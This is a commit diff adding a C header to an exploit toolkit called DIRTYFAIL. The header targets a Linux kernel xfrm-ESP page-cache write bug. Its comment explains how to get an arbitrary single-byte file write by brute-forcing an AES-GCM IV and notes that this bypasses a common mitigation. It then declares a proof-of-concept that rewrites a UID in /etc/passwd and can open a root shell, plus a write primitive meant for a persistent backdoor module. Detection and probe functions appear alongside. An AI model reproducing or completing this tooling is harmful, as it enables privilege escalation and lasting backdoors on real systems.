Initial skeleton: README, CVE inventory, roadmap, ARCH, ethics + copy_fail_family module absorbed from DIRTYFAIL

modules/copy_fail_family/copyfail_gcm.h

@@ -0,0 +1,61 @@
+/*
+ * DIRTYFAIL — copyfail_gcm.h
+ *
+ * Single-byte page-cache write via xfrm-ESP `rfc4106(gcm(aes))` AEAD.
+ *
+ * This module is a sibling primitive to copyfail.c (4-byte authencesn
+ * STORE) and dirtyfrag_esp.c (4-byte authencesn STORE via XFRM). It
+ * targets the SAME bug class (CVE-2026-43284 xfrm-ESP no-COW path),
+ * but uses `rfc4106(gcm(aes))` instead of `authencesn(...)` as the
+ * AEAD. That changes the primitive in two useful ways:
+ *
+ *   1. Coverage. A defender who blacklisted only `algif_aead` to stop
+ *      Copy Fail (CVE-2026-31431) is still vulnerable here — neither
+ *      algif_aead nor the authencesn template is on the path.
+ *
+ *   2. Granularity. AES-GCM is a counter-mode cipher; in-place
+ *      "decryption" is just XORing the keystream onto the spliced
+ *      page byte. We can land an arbitrary single byte at any file
+ *      offset (no 4-byte alignment, no 4-byte side-effects) by
+ *      brute-forcing the IV until keystream[0] equals
+ *      `target_byte XOR desired_byte`.
+ *
+ * The 1-byte primitive is what makes the persistent backdoor mode
+ * (`backdoor.c`) feasible without alignment juggling.
+ *
+ * Technique credit: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
+ * (`copyfail2.c`), reimplemented here in DIRTYFAIL style.
+ */
+
+#ifndef DIRTYFAIL_COPYFAIL_GCM_H
+#define DIRTYFAIL_COPYFAIL_GCM_H
+
+#include "common.h"
+
+/* Detection: kernel + esp4 + rfc4106(gcm(aes)) availability + userns. */
+df_result_t copyfail_gcm_detect(void);
+
+/* End-to-end PoC: flip /etc/passwd UID via rfc4106(gcm(aes)) STORE.
+ * Equivalent functional outcome to copyfail_exploit() and
+ * dirtyfrag_esp_exploit() — different kernel path. */
+df_result_t copyfail_gcm_exploit(bool do_shell);
+df_result_t copyfail_gcm_exploit_inner(void);
+
+/* Low-level building block exposed for backdoor.c:
+ * write a single byte at `target_path` offset `target_off`. The caller
+ * MUST already be inside a fresh user namespace with CAP_NET_ADMIN
+ * (ESP SA registration prerequisite). Returns true on apparent
+ * success — caller verifies via re-read. */
+bool cfg_1byte_write(const char *target_path,
+                     off_t target_off,
+                     unsigned char desired_byte);
+
+/* Active probe: installs a GCM SA with arbitrary IV, fires ONE
+ * gcm_trigger against a /tmp sentinel. Skips IV brute force entirely;
+ * the kernel STORE writes an unpredictable byte (keystream XOR 'A')
+ * which still confirms the path is reachable. Returns DF_VULNERABLE
+ * on byte change, DF_OK if intact, DF_PRECOND_FAIL on AA-block. */
+df_result_t copyfail_gcm_active_probe(void);
+df_result_t copyfail_gcm_active_probe_inner(void);
+
+#endif